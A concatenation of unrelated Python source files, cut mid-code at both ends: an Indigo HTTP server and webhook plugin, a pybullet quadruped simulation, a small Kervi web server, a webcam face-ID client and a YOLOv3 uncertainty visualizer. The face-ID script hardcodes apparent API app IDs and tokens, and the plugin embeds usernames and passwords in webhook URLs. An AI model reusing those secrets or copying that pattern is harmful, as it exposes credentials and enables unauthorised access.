saved_states)) new_states = {} state_list = [] query = parse_qs(request.query) for key in query: value = query[key][0] state_list.append({'key': unicode(key), 'value': value}) new_states[key] = value if device.pluginProps.get("updateTimestamp", False): state_list.append({'key': u'http2_timestamp', 'value': time.strftime("%x %X")}) self.logger.threaddebug(u"{}: MyRequestHandler: new_states = {}".format(device.name, new_states)) if saved_states != new_states: newProps = device.pluginProps newProps["saved_states"] = json.dumps(new_states) device.replacePluginPropsOnServer(newProps) self.server.set_state_list(state_list) device.stateListOrDisplayStateIdChanged() device.updateStatesOnServer(state_list) def do_webhook(self, request): self.logger.debug("do_webhook query = {}, path = {}".format(request.query, request.path)) broadcastDict = {} varsDict = {} headers = {} reqDict = {} try: query = parse_qs(request.query) for key in query: varsDict[key] = query[key][0] broadcastDict["vars"] = varsDict except: broadcastDict["vars"] = None try: headers = {key:value for (key,value) in self.headers.items()} broadcastDict["headers"] = headers except: broadcastDict["headers"] = None try: client_host, client_port = self.client_address reqDict= {"path" : request.path, "command" : self.command, "client" : client_host} broadcastDict["request"] = reqDict except: broadcastDict["request"] = None if self.command == "POST": try: data = self.rfile.read(int(self.headers['Content-length'])) broadcastDict["payload"] = data except: broadcastDict["payload"] = None else: broadcastDict["payload"] = None broadcast = u"httpd_" + request.path[1:] self.logger.debug("Webhook to {} = {}".format(broadcast, json.dumps(broadcastDict))) indigo.server.broadcastToSubscribers(broadcast, json.dumps(broadcastDict)) def do_POST(self): self.logger = logging.getLogger("Plugin.MyRequestHandler") client_host, client_port = self.client_address port = self.server.socket.getsockname()[1] self.logger.debug("MyRequestHandler: POST to port {} from {}:{} for {}".format(port, client_host, client_port, self.path)) if not self.is_authorized(): self.send_reply(401) return request = urlparse(self.path) if request.path == "/setvar": self.do_setvar(request) elif "webhook" in request.path: self.do_webhook(request) else: self.logger.debug(u"MyRequestHandler: Unknown POST request: {}".format(request.path)) self.send_reply(200) def do_GET(self): self.logger = logging.getLogger("Plugin.MyRequestHandler") client_host, client_port = self.client_address port = self.server.socket.getsockname()[1] self.logger.debug("MyRequestHandler: GET to port {} from {}:{} for {}".format(port, client_host, client_port, self.path)) if not self.is_authorized(): self.send_reply(401) return request = urlparse(self.path) if request.path == "/setvar": self.do_setvar(request) elif "webhook" in request.path: self.do_webhook(request) else: self.logger.debug(u"MyRequestHandler: Unknown GET request: {}".format(request.path)) self.send_reply(200) class Plugin(indigo.PluginBase): ######################################## # Main Plugin methods ######################################## def __init__(self, pluginId, pluginDisplayName, pluginVersion, pluginPrefs): indigo.PluginBase.__init__(self, pluginId, pluginDisplayName, pluginVersion, pluginPrefs) pfmt = logging.Formatter('%(asctime)s.%(msecs)03d\t[%(levelname)8s] %(name)20s.%(funcName)-25s%(msg)s', datefmt='%Y-%m-%d %H:%M:%S') self.plugin_file_handler.setFormatter(pfmt) try: self.logLevel = int(self.pluginPrefs[u"logLevel"]) except: self.logLevel = logging.INFO self.indigo_log_handler.setLevel(self.logLevel) self.logger.debug(u"logLevel = {}".format(self.logLevel)) def startup(self): indigo.server.log(u"Starting HTTPd") self.servers = {} self.triggers = {} self.proxy_data = {} def shutdown(self): indigo.server.log(u"Shutting down HTTPd") def start_server(self, port, https=False, certfileName=None, keyfileName=None): if port == 0: return None if not https: try: server = MyHTTPServer(("", port), MyRequestHandler) server.timeout = 1.0 self.logger.debug(u"Started HTTP server on port {}".format(port)) return server except: self.logger.error(u"Unable to open port {} for HTTP Server".format(port)) return None else: certfile = indigo.server.getInstallFolderPath() + '/' + certfileName if not os.path.isfile(certfile): self.logger.error(u"Certificate file missing, unable to start HTTPS server on port {}".format(port)) return None try: server = MyHTTPServer(("", port), MyRequestHandler) server.timeout = 1.0 except: self.logger.error(u"Unable to open port {} for HTTPS Server".format(port)) return None if not keyfileName: keyfile = None else: keyfile = indigo.server.getInstallFolderPath() + '/' + keyfileName if not os.path.isfile(keyfile): self.logger.error(u"Key file missing, unable to start HTTPS server on port {}".format(port)) return None server.socket = ssl.wrap_socket(server.socket, keyfile=keyfile, certfile=certfile, server_side=True) self.logger.debug(u"Started HTTPS server on port {}".format(port)) return server def runConcurrentThread(self): try: while True: for server in self.servers.values(): try: server.handle_request() except: pass self.sleep(0.1) except self.StopThread: pass #################### def triggerStartProcessing(self, trigger): self.logger.debug("Adding Trigger {} ({})".format(trigger.name, trigger.id)) assert trigger.id not in self.triggers self.triggers[trigger.id] = trigger def triggerStopProcessing(self, trigger): self.logger.debug("Removing Trigger {} ({})".format(trigger.name, trigger.id)) assert trigger.id in self.triggers del self.triggers[trigger.id] #################### def validatePrefsConfigUi(self, valuesDict): errorDict = indigo.Dict() if len(errorDict) > 0: return (False, valuesDict, errorDict) return (True, valuesDict) ######################################## def closedPrefsConfigUi(self, valuesDict, userCancelled): if not userCancelled: try: self.logLevel = int(valuesDict[u"logLevel"]) except: self.logLevel = logging.INFO self.indigo_log_handler.setLevel(self.logLevel) self.logger.debug(u"logLevel = {}".format(self.logLevel)) ######################################## def validateDeviceConfigUi(self, valuesDict, typeId, devId): self.logger.debug("validateDeviceConfigUi typeId = {}, devId = {}, valuesDict = {}".format(typeId, devId, valuesDict)) errorsDict = indigo.Dict() if typeId == 'serverDevice': try: port = int(valuesDict.get('address', '0')) except: errorsDict['address'] = u"HTTP Port Number invalid" else: if port < 1024: errorsDict['address'] = u"HTTP Port Number invalid" if valuesDict.get('protocol', 'http') == 'https': certfile = indigo.server.getInstallFolderPath() + '/' + valuesDict.get('certfileName', "") if not os.path.isfile(certfile): self.logger.debug("validateDeviceConfigUi certfile not found: {}".format(certfile)) errorsDict['certfileName'] = u"Certificate file required for HTTPS protocol" elif typeId == 'proxyDevice': if not valuesDict.get('serverDevice', None): errorsDict['serverDevice'] = u"Server Device required" self.logger.debug("validateDeviceConfigUi done - {} errors".format(len(errorsDict))) if len(errorsDict) > 0: return (False, valuesDict, errorsDict) return (True, valuesDict) def deviceStartComm(self, dev): self.logger.info(u"{}: Starting {} Device {}".format(dev.name, dev.deviceTypeId, dev.id)) if dev.deviceTypeId == 'serverDevice': port = int(dev.address) https = dev.pluginProps.get('protocol', 'http') == 'https' certfile = dev.pluginProps.get('certfileName', None) keyfile = dev.pluginProps.get('keyfileName', None) server = self.start_server(port, https=https, certfileName=certfile, keyfileName=keyfile) if server: digestRequired = dev.pluginProps.get('digestRequired', False) httpUser = dev.pluginProps.get('httpUser', None) httpPassword = dev.pluginProps.get('httpPassword', None) server.set_auth_params(httpUser, httpPassword, digestRequired) server.set_dev_id(dev.id) self.servers[dev.id] = server saved_states = json.loads(dev.pluginProps.get("saved_states", "{}")) state_list = [] for key in saved_states: state_list.append({'key': key, 'value': saved_states[key]}) dev.updateStatesOnServer(state_list) elif dev.deviceTypeId == 'proxyDevice': serverID = dev.pluginProps.get('serverDevice', None) if not serverID: self.logger.warning(u"{}: No Server Device specified".format(dev.name)) webhook_info = self.getWebhookInfo(str(dev.id), serverID) self.logger.debug(u"{}: deviceStartComm, webhook_info = {}".format(dev.name, webhook_info)) stateList = [ {'key': 'hook_url', 'value': webhook_info.get("hook_url", None)}, {'key': 'hook_name', 'value': webhook_info.get("hook_name", None)} ] dev.updateStatesOnServer(stateList) indigo.server.subscribeToBroadcast("com.flyingdiver.indigoplugin.httpd2", webhook_info["hook_name"], "webhook_proxy") def deviceStopComm(self, dev): self.logger.info(u"{}: Stopping {} Device {}".format(dev.name, dev.deviceTypeId, dev.id)) if dev.deviceTypeId == 'serverDevice': self.logger.threaddebug(u"{}: deviceStopComm device states: {}".format(dev.name, dev.states)) server = self.servers[dev.id] del self.servers[dev.id] assassin = threading.Thread(target=server.server_close) assassin.daemon = True assassin.start() elif dev.deviceTypeId == 'proxyDevice': serverID = dev.pluginProps.get('serverDevice', None) webhook_info = self.getWebhookInfo(str(dev.id), serverID) self.logger.debug(u"{}: deviceStartComm, webhook_info = {}".format(dev.name, webhook_info)) indigo.server.subscribeToBroadcast("com.flyingdiver.indigoplugin.httpd2", webhook_info["hook_name"], "CallbackNOP") def didDeviceCommPropertyChange(self, oldDevice, newDevice): if newDevice.deviceTypeId == 'serverDevice': for prop in newDevice.pluginProps: if prop in ['saved_states']: # list of properties to ignore pass elif newDevice.pluginProps.get(prop, None) != oldDevice.pluginProps.get(prop, None): self.logger.threaddebug(u"{}: didDeviceCommPropertyChange prop {}: {}->{}".format(newDevice.name, prop, oldDevice.pluginProps.get(prop, None), newDevice.pluginProps.get(prop, None))) return True self.logger.threaddebug(u"{}: didDeviceCommPropertyChange no changes".format(newDevice.name)) elif newDevice.deviceTypeId == 'proxyDevice': if newDevice.pluginProps["serverDevice"] != oldDevice.pluginProps["serverDevice"]: return True return False ######################################## # # callback for state list changes, called from stateListOrDisplayStateIdChanged() # ######################################## def getDeviceStateList(self, device): state_list = indigo.PluginBase.getDeviceStateList(self, device) self.logger.threaddebug(u"{}: getDeviceStateList, base state_list = {}".format(device.name, state_list)) if device.deviceTypeId != "serverDevice": return state_list saved_states = json.loads(device.pluginProps.get("saved_states", "{}")) for key in saved_states: dynamic_state = self.getDeviceStateDictForStringType(unicode(key), unicode(key), unicode(key)) state_list.append(dynamic_state) if device.id in self.servers: try: device_states = self.servers[device.id].state_list if device_states and len(device_states) > 0: for item in device_states: key = item['key'] value = item['value'] new_state = self.getDeviceStateDictForStringType(unicode(key), unicode(key), unicode(key)) self.logger.threaddebug(u"{}: getDeviceStateList, adding String state {}, value {}".format(device.name, key, value)) state_list.append(new_state) except: pass self.logger.threaddebug(u"{}: getDeviceStateList, final state_list = {}".format(device.name, state_list)) return state_list def webhook_proxy(self, hookdata_json): hook_data = json.loads(hookdata_json) proxy_dev = indigo.devices[int(hook_data["request"]["path"][9:])] self.proxy_data[proxy_dev.id] = hook_data proxy_dev.updateStateOnServer(key='hookdata_json', value=hookdata_json) for triggerId, trigger in sorted(self.triggers.iteritems()): self.logger.debug("Checking Trigger {} ({})".format(trigger.name, trigger.id)) if trigger.pluginProps["proxyDevice"] == str(proxy_dev.id): self.logger.debug("Executing Trigger {} ({})".format(trigger.name, trigger.id)) indigo.trigger.execute(trigger) def CallbackNOP(self, hook_data): pass def resetDeviceStatesAction(self, pluginAction): deviceId = int(pluginAction.props["targetDevice"]) self.resetDeviceStates(indigo.devices[deviceId]) def resetDeviceStatesMenu(self, valuesDict, typeId): try: deviceId = int(valuesDict["targetDevice"]) except: self.logger.error(u"Bad Device specified for Reset Device operation") return False self.resetDeviceStates(indigo.devices[deviceId]) return True def resetDeviceStates(self, device): newProps = device.pluginProps newProps["saved_states"] = "{}" device.replacePluginPropsOnServer(newProps) device.stateListOrDisplayStateIdChanged() ######################################## # Actions ######################################## def getWebhookDataAction(self, pluginAction, device, callerWaitingForResult = True): try: hook_data = self.proxy_data[device.id] return hook_data except: return None def getWebhookInfoAction(self, pluginAction, device, callerWaitingForResult = True): return self.getWebhookInfo(pluginAction.props.get(u"name", None), pluginAction.props.get("server", None)) def getWebhookInfo(self, callerName, serverID): if not callerName or not serverID: self.logger.warning(u"getWebhookInfo failed, caller name or server deviceID not provided") return None info = {u"hook_name" : u"httpd_webhook-" + callerName} serverDev = indigo.devices.get(int(serverID), None) if not serverDev: self.logger.warning(u"getWebhookInfo failed, invalid Server DeviceID") return None ddnsName = self.pluginPrefs.get('ddnsName', None) if not ddnsName: self.logger.warning(u"getWebhookInfo failed, invalid ddnsName") return None if len(serverDev.pluginProps.get('httpPassword', None)) != 0: auth = "{}:{}@".format(serverDev.pluginProps.get('httpUser', ''), serverDev.pluginProps.get('httpPassword', '')) else: auth = '' port = int(serverDev.pluginProps.get('address', 0)) if not port: self.logger.warning(u"getWebhookInfo failed, invalid port number") return None protocol = serverDev.pluginProps.get('protocol', None) if not protocol: self.logger.warning(u"getWebhookInfo failed, invalid protocol") return None info[u"hook_url"] = "{}://{}{}:{}/webhook-{}".format(protocol, auth, ddnsName, port, callerName) self.logger.debug(u"getWebhookInfo, info = {}".format(info)) return info
walking_simulation.py
#!/usr/bin/env python3 import pybullet as p import numpy import rospy import time import threading import pybullet_data from sensor_msgs.msg import JointState from sensor_msgs.msg import Imu import matplotlib.pyplot as plt from quadruped_ctrl.srv import QuadrupedCmd, QuadrupedCmdResponse from quadruped_ctrl.msg import commandDes getMode = 10 get_position = [] get_effort = [] get_velocity = [] get_last_vel = [0.0, 0.0, 0.0] myflags = 0 def init_simulation(): global boxId, motor_id_list, compensateReal, get_last_euler get_last_euler = [0.0, 0.0, 0.0] physicsClient = p.connect(p.GUI) # or p.DIRECT for non-graphical version p.setAdditionalSearchPath(pybullet_data.getDataPath()) # optionally motor_id_list = [0, 1, 2, 4, 5, 6, 8, 9, 10, 12, 13, 14] # motor_id_list = [4, 5, 6, 12, 13, 14, 0, 1, 2, 8, 9, 10] compensateReal = [-1, -1, -1, 1, -1, -1, -1, 1, 1, 1, 1, 1] p.setGravity(0, 0, -9.8) cubeStartPos = [0, 0, 0.5] p.resetDebugVisualizerCamera(0.2, 45, -30, [1, -1, 1]) planeId = p.loadURDF("plane.urdf") p.changeDynamics(planeId, -1, lateralFriction=1.0) # boxId = p.loadURDF("/home/wgx/Workspace_Ros/src/cloudrobot/src/quadruped_robot.urdf", cubeStartPos, # useFixedBase=FixedBase) #"mini_cheetah/mini_cheetah.urdf" #"/home/quadruped/cheetah_ws/src/yobo_model/yobotics_description/urdf/yobotics.urdf" boxId = p.loadURDF("mini_cheetah/mini_cheetah.urdf", cubeStartPos, useFixedBase=False) jointIds = [] for j in range(p.getNumJoints(boxId)): info = p.getJointInfo(boxId, j) jointIds.append(j) jointConfig = numpy.array([-0.7, -1.0, 2.7, 0.7, -1.0, 2.7, -0.7, -1.0, 2.7, 0.7, -1.0, 2.7]) init_new_pos = [-0.0, -1.4, 2.7, 0.0, -1.4, 2.7, -0.0, -1.4, 2.7, 0.0, -1.4, 2.7] for j in range(12): p.setJointMotorControl2(boxId, motor_id_list[j], p.POSITION_CONTROL, init_new_pos[j], force=500.0) # slope terrain # colSphereId = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.5, 0.5, 0.001]) # colSphereId1 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.2, 0.5, 0.06]) # BoxId = p.createMultiBody(100, colSphereId, basePosition=[1.0, 1.0, 0.0]) # BoxId = p.createMultiBody(100, colSphereId1, basePosition=[1.6, 1.0, 0.0]) # stairs # colSphereId = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 2, 0.04]) # colSphereId1 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 2, 0.08]) #colSphereId2 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 2, 0.12]) # colSphereId3 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 2, 0.16]) #colSphereId4 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[1.0, 2, 0.20]) # BoxId = p.createMultiBody(100, colSphereId, basePosition=[1.0, 0.0, 0.0]) # BoxId = p.createMultiBody(100, colSphereId1, basePosition=[1.2, 0.0, 0.0]) #BoxId = p.createMultiBody(100, colSphereId2, basePosition=[1.4, 0.0, 0.0]) # BoxId = p.createMultiBody(100, colSphereId3, basePosition=[1.6, 0.0, 0.0]) # BoxId = p.createMultiBody(100, colSphereId4, basePosition=[2.7, 0.0, 0.0]) #many box #colSphereId = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 0.4, 0.01]) #colSphereId1 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 0.4, 0.01]) #colSphereId2 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 0.4, 0.01]) #colSphereId3 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.1, 0.4, 0.01]) #colSphereId4 = p.createCollisionShape(p.GEOM_BOX, halfExtents=[0.03, 0.03, 0.03]) #BoxId = p.createMultiBody(100, colSphereId, basePosition=[1.0, 1.0, 0.0]) #BoxId = p.createMultiBody(100, colSphereId1, basePosition=[1.2, 1.0, 0.0]) #BoxId = p.createMultiBody(100, colSphereId2, basePosition=[1.4, 1.0, 0.0]) #BoxId = p.createMultiBody(100, colSphereId3, basePosition=[1.6, 1.0, 0.0]) #BoxId = p.createMultiBody(10, colSphereId4, basePosition=[2.7, 1.0, 0.0]) def thread_job(): rospy.spin() def callback_state(msg): global getMode, get_position, get_effort get_position.clear() get_effort.clear() get_position.append(msg.position[0]) get_position.append(-msg.position[1]) get_position.append(-msg.position[2]) get_position.append(msg.position[3]) get_position.append(-msg.position[4]) get_position.append(-msg.position[5]) get_position.append(msg.position[6]) get_position.append(-msg.position[7]) get_position.append(-msg.position[8]) get_position.append(msg.position[9]) get_position.append(-msg.position[10]) get_position.append(-msg.position[11]) get_effort.append(msg.effort[0]) get_effort.append(msg.effort[1]) get_effort.append(msg.effort[2]) get_effort.append(msg.effort[3]) get_effort.append(msg.effort[4]) get_effort.append(msg.effort[5]) get_effort.append(msg.effort[6]) get_effort.append(msg.effort[7]) get_effort.append(msg.effort[8]) get_effort.append(msg.effort[9]) get_effort.append(msg.effort[10]) get_effort.append(msg.effort[11]) def callback_mode(req): global getMode getMode = req.cmd print(getMode) if getMode == 0: p.resetBasePositionAndOrientation(boxId, [0, 0, 0.2], [0, 0, 0, 1]) time.sleep(1) for j in range(16): force = 0 p.setJointMotorControl2(boxId, j, p.VELOCITY_CONTROL, force=force) # , positionGain=10, velocityGain=10) # p.changeDynamics(quadruped, j, spinningFriction=0.01, rollingFriction=0.01, jointDamping=1.0) # p.changeDynamics(quadruped, j, jointDamping=0.5) return QuadrupedCmdResponse(0, "get the mode") def thread_job(): rospy.spin() def acc_filter(value, last_accValue): a = 1.0 filter_value = a * value + (1 - a) * last_accValue return filter_value def talker(): global getMode, get_last_vel, myflags iter = 0 iter1 = 0 get_orientation = [] get_euler = [] get_matrix = [] get_velocity = [] get_invert = [] jointTorques = [] jointTorques1 = [] init_pos = [] middle_target = [] joint_Kp = [10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10] joint_Kd = [0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2, 0.2] stand_target = [0.0, -0.8, 1.6, 0.0, -0.8, 1.6, 0.0, -0.8, 1.6, 0.0, -0.8, 1.6] pub1 = rospy.Publisher('/get_js', JointState, queue_size=100) pub2 = rospy.Publisher('/imu_body', Imu, queue_size=100) pub3 = rospy.Publisher('/get_com', commandDes, queue_size=100) imu_msg = Imu() setJSMsg = JointState() com_msg = commandDes() freq = 400 rate = rospy.Rate(freq) # hz while not rospy.is_shutdown(): if myflags == 100: p.resetBasePositionAndOrientation(boxId, [0, 0, 0.2], [0, 0, 0, 1]) time.sleep(1) for j in range(16): force = 0 p.setJointMotorControl2(boxId, j, p.VELOCITY_CONTROL, force=force) get_orientation = [] pose_orn = p.getBasePositionAndOrientation(boxId) for i in range(4): get_orientation.append(pose_orn[1][i]) get_euler = p.getEulerFromQuaternion(get_orientation) get_velocity = p.getBaseVelocity(boxId) get_invert = p.invertTransform(pose_orn[0], pose_orn[1]) get_matrix = p.getMatrixFromQuaternion(get_invert[1]) # IMU data imu_msg.orientation.x = pose_orn[1][0] imu_msg.orientation.y = pose_orn[1][1] imu_msg.orientation.z = pose_orn[1][2] imu_msg.orientation.w = pose_orn[1][3] imu_msg.angular_velocity.x = get_matrix[0] * get_velocity[1][0] + get_matrix[1] * get_velocity[1][1] + get_matrix[2] * get_velocity[1][2] imu_msg.angular_velocity.y = get_matrix[3] * get_velocity[1][0] + get_matrix[4] * get_velocity[1][1] + get_matrix[5] * get_velocity[1][2] imu_msg.angular_velocity.z = get_matrix[6] * get_velocity[1][0] + get_matrix[7] * get_velocity[1][1] + get_matrix[8] * get_velocity[1][2] # calculate the acceleration of the robot linear_X = (get_velocity[0][0] - get_last_vel[0]) * freq linear_Y = (get_velocity[0][1] - get_last_vel[1]) * freq linear_Z = 9.8 + (get_velocity[0][2] - get_last_vel[2]) * freq imu_msg.linear_acceleration.x = get_matrix[0] * linear_X + get_matrix[1] * linear_Y + get_matrix[2] * linear_Z imu_msg.linear_acceleration.y = get_matrix[3] * linear_X + get_matrix[4] * linear_Y + get_matrix[5] * linear_Z imu_msg.linear_acceleration.z = get_matrix[6] * linear_X + get_matrix[7] * linear_Y + get_matrix[8] * linear_Z # joint data joint_state = p.getJointStates(boxId, motor_id_list) setJSMsg.position = [joint_state[0][0], joint_state[1][0], joint_state[2][0], joint_state[3][0], joint_state[4][0], joint_state[5][0], joint_state[6][0], joint_state[7][0], joint_state[8][0], joint_state[9][0], joint_state[10][0], joint_state[11][0]] setJSMsg.velocity = [joint_state[0][1], joint_state[1][1], joint_state[2][1], joint_state[3][1], joint_state[4][1], joint_state[5][1], joint_state[6][1], joint_state[7][1], joint_state[8][1], joint_state[9][1], joint_state[10][1], joint_state[11][1]] # com data com_msg.com_position = [pose_orn[0][0], pose_orn[0][1], pose_orn[0][2]] com_msg.com_velocity = [get_velocity[0][0], get_velocity[0][1], get_velocity[0][2]] get_last_vel.clear() get_last_vel = com_msg.com_velocity # stand up control if len(get_effort): print(get_effort) p.setJointMotorControlArray(bodyUniqueId=boxId, jointIndices=motor_id_list, controlMode=p.TORQUE_CONTROL, forces=get_effort) setJSMsg.header.stamp = rospy.Time.now() setJSMsg.name = ["abduct_fr", "thigh_fr", "knee_fr", "abduct_fl", "thigh_fl", "knee_fl", "abduct_hr", "thigh_hr", "knee_hr", "abduct_hl", "thigh_hl", "knee_hl"] if myflags % 2 == 0: pub2.publish(imu_msg) pub1.publish(setJSMsg) pub3.publish(com_msg) myflags = myflags + 1 p.setTimeStep(0.0015) p.stepSimulation() rate.sleep() if __name__ == '__main__': init_simulation() rospy.init_node('listener', anonymous=True) rospy.Subscriber("set_js", JointState, callback_state, buff_size=10000) s = rospy.Service('robot_mode', QuadrupedCmd, callback_mode) add_thread = threading.Thread(target=thread_job) add_thread.start() talker()
webserver.py
# Copyright (c) 2016, Tim Wentzlau # Licensed under MIT """ Simple web server for the Kervi application """ import os import time try: from SimpleHTTPServer import SimpleHTTPRequestHandler except: from http.server import SimpleHTTPRequestHandler try: from BaseHTTPServer import HTTPServer except: from http.server import HTTPServer import threading import kervi SERVER = None def start(address): global SERVER kervipath = os.path.dirname(kervi.__file__) docpath = os.path.join(kervipath, "kervi-ui/dist") #cwd = os.getcwd() os.chdir(docpath) SERVER = HTTPServer(address, SimpleHTTPRequestHandler) thread = threading.Thread(target=SERVER.serve_forever, name="webserver") thread.daemon = True thread.start() time.sleep(2) #os.chdir(cwd) def stop(): print ("stop web server") SERVER.shutdown()
faceid_online_multithreading.py
import cv2 import threading import numpy as np from imutils.video import FPS import sys sys.path.append('../') from facevi.facedetector import FaceDetector from facevi_api.faceviAPI import UDC_API from facevi_utils import helpers # 设置gpu_memory_fraction import tensorflow as tf import keras.backend.tensorflow_backend as KTF import os os.environ['CUDA_VISIBLE_DEVICES'] = "0" config = tf.ConfigProto() config.gpu_options.allow_growth = True config.gpu_options.per_process_gpu_memory_fraction = 0.5 sess = tf.Session(config=config) KTF.set_session(sess) def capture_face(margin = 15): vs = cv2.VideoCapture(0) # vs.set(3, 288) # vs.set(4, 512) # face detector model FD = FaceDetector(face_size_th=20) # localhost server appid = '6c21418d-436b-4231-a478-02dbbf706f4b' token = 'token2d437469-8be4-48b5-9cd6-42cc6cd99407' # nvidia server # appid = '7e8a6af2-4e8a-458b-9361-a02169412af3' # token = 'tokenbd355e4b-3d4b-475a-b349-a6fa5b8f2350' UDC_client = UDC_API(appid, token) # fps : computer the speed fps = FPS() fps.start() while True: res, frame = vs.read() fps.update() if not(res): break height, width, _ = frame.shape # frame = frame[96:384,64:576,:] print('[INFO] frame type : {}'.format(type(frame))) # frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) print('[INFO] image shape : {}'.format(frame.shape)) # 1, detect faces face_scores, face_bbxes, face_keypoints = FD.detect_face(frame) print("[INFO] detect {} faces".format(len(face_bbxes))) for bbx in face_bbxes: # 2, crop face print("[INFO] bbx : {}".format(bbx)) if bbx[0] > bbx[2] or bbx[1] > bbx[3]: continue # 给face图片加margin bbx[0] = 0 if bbx[0]-margin < 0 else bbx[0]-margin bbx[1] = 0 if bbx[1]-margin < 0 else bbx[1]-margin bbx[2] = width if bbx[2]+margin > width else bbx[2]+margin bbx[3] = height if bbx[3]+margin > height else bbx[3]+margin print("[INFO] bbx + margin : {}".format(bbx)) croped_face = frame[bbx[1]:bbx[3], bbx[0]:bbx[2], :] # print("type(crop-face) : {}".format(type(croped_face))) # get faceid t = threading.Thread(target=UDC_client.get_faceid, args=[croped_face]) # t = threading.Thread(target=UDC_client.get_faceid, # args=[helpers.b64encode_img_with_compress(croped_face)]) # t = threading.Thread(target=assign_faceid_with_token, args=[croped_face]) t.start() # rectangle for face cv2.rectangle(frame, (bbx[0],bbx[1]), (bbx[2],bbx[3]), (0,0,255), 1) print('------------segment----------------') cv2.imshow('test', frame) butt = cv2.waitKey(10) & 0xFF if butt == ord('q'): break cv2.destroyAllWindows() vs.release() fps.stop() print("[INFO] elapsed time: {:.2f}".format(fps.elapsed())) print("[INFO] approx. FPS: {:.2f}".format(fps.fps())) if __name__ == '__main__': capture_face()
vis_uncertainty.py
import glob import logging import multiprocessing import os import time import matplotlib.cm import numpy as np import tensorflow as tf from PIL import Image from lib_yolo import yolov3 def colorize(img, vmin=None, vmax=None, cmap='plasma'): # normalize vmin = tf.reduce_min(img) if vmin is None else vmin vmax = tf.contrib.distributions.percentile(img, 99.) if vmax is None else vmax img = (img - vmin) / (vmax - vmin) img = tf.squeeze(img, axis=[-1]) # quantize indices = tf.clip_by_value(tf.to_int32(tf.round(img * 255)), 0, 255) # gather cm = matplotlib.cm.get_cmap(cmap if cmap is not None else 'gray') colors = tf.constant(cm.colors, dtype=tf.float32) img = tf.gather(colors, indices) return img def color_map(img, uncertainty, stride, vmin, vmax, alpha=0.7): uncertainty = colorize(uncertainty, vmin, vmax) uncertainty = tf.expand_dims(uncertainty, axis=0) shape = uncertainty.shape uncertainty = tf.image.resize_nearest_neighbor(uncertainty, size=(shape[1] * stride, shape[2] * stride)) blended = alpha * img + (1 - alpha) * uncertainty tf.squeeze(blended, axis=0) blended = blended[0, ...] blended = tf.image.convert_image_dtype(blended, dtype=tf.uint8) # convert to [0, 255] return blended class Inference: def __init__(self, yolo, config): self.batch_size = config['batch_size'] self.img_size = yolo.img_size self.img_tensor = tf.placeholder(tf.float32, shape=(1, *self.img_size)) checkpoints = os.path.join(config['checkpoint_path'], config['run_id']) if config['step'] == 'last': self.checkpoint = tf.train.latest_checkpoint(checkpoints) else: self.checkpoint = None for cp in os.listdir(checkpoints): if cp.endswith('-{}.meta'.format(config['step'])): self.checkpoint = os.path.join(checkpoints, os.path.splitext(cp)[0]) break assert self.checkpoint is not None step = self.checkpoint.split('-')[-1] self.config = config self.worker_thread = None assert config['inference_mode'] self.model = yolo.init_model(inputs=self.img_tensor, training=False).get_model() self.grids = [] stats = [None] * 9 ucty_idx = config.get('ucty_idx', -1) uncertainty_key = config['uncertainty_key'] # stride 32 l = self.model.det_layers[0] if 'obj' in uncertainty_key or 'cls' in uncertainty_key: uncertainty = l.det[uncertainty_key] elif 'epi' in uncertainty_key: uncertainty = l.det[uncertainty_key][..., ucty_idx, ucty_idx] else: uncertainty = l.det[uncertainty_key][..., ucty_idx] lh, lw, box_cnt = uncertainty.shape.as_list() uncertainty = tf.split(uncertainty, [1] * box_cnt, axis=-1) self.grids.append( color_map(self.img_tensor, uncertainty[0], l.downsample, 0, stats[0])) self.grids.append( color_map(self.img_tensor, uncertainty[1], l.downsample, 0, stats[1])) self.grids.append( color_map(self.img_tensor, uncertainty[2], l.downsample, 0, stats[2])) # stride 16 l = self.model.det_layers[1] if 'obj' in uncertainty_key or 'cls' in uncertainty_key: uncertainty = l.det[uncertainty_key] elif 'epi' in uncertainty_key: uncertainty = l.det[uncertainty_key][..., ucty_idx, ucty_idx] else: uncertainty = l.det[uncertainty_key][..., ucty_idx] lh, lw, box_cnt = uncertainty.shape.as_list() uncertainty = tf.split(uncertainty, [1] * box_cnt, axis=-1) self.grids.append( color_map(self.img_tensor, uncertainty[0], l.downsample, 0, stats[3])) self.grids.append( color_map(self.img_tensor, uncertainty[1], l.downsample, 0, stats[4])) self.grids.append( color_map(self.img_tensor, uncertainty[2], l.downsample, 0, stats[5])) # stride 8 l = self.model.det_layers[2] if 'obj' in uncertainty_key or 'cls' in uncertainty_key: uncertainty = l.det[uncertainty_key] elif 'epi' in uncertainty_key: uncertainty = l.det[uncertainty_key][..., ucty_idx, ucty_idx] else: uncertainty = l.det[uncertainty_key][..., ucty_idx] lh, lw, box_cnt = uncertainty.shape.as_list() uncertainty = tf.split(uncertainty, [1] * box_cnt, axis=-1) self.grids.append( color_map(self.img_tensor, uncertainty[0], l.downsample, 0, stats[6])) self.grids.append( color_map(self.img_tensor, uncertainty[1], l.downsample, 0, stats[7])) self.grids.append( color_map(self.img_tensor, uncertainty[2], l.downsample, 0, stats[8])) self.sess = tf.Session(config=tf.ConfigProto(device_count={'GPU': 1})) tf.train.Saver().restore(self.sess, self.checkpoint) def load_img(self, filename): img = Image.open(filename) img = np.array(img) img = img.astype(np.float32) if self.config['crop']: y = (img.shape[0] - self.img_size[0]) // 2 x = (img.shape[1] - self.img_size[1]) // 2 img = img[y:y + self.img_size[0], x:x + self.img_size[1], :] img = np.expand_dims(img, axis=0) img /= 255. return img def make_color_map(self, filename, config): img_data = self.load_img(filename) grids, = self.sess.run([self.grids], feed_dict={self.img_tensor: img_data}) img_name = os.path.basename(filename) save_uncertainty_maps(grids, img_name, config) def save_uncertainty_maps(grids, file_name, config): file_name = os.path.basename(file_name) for idx, img in 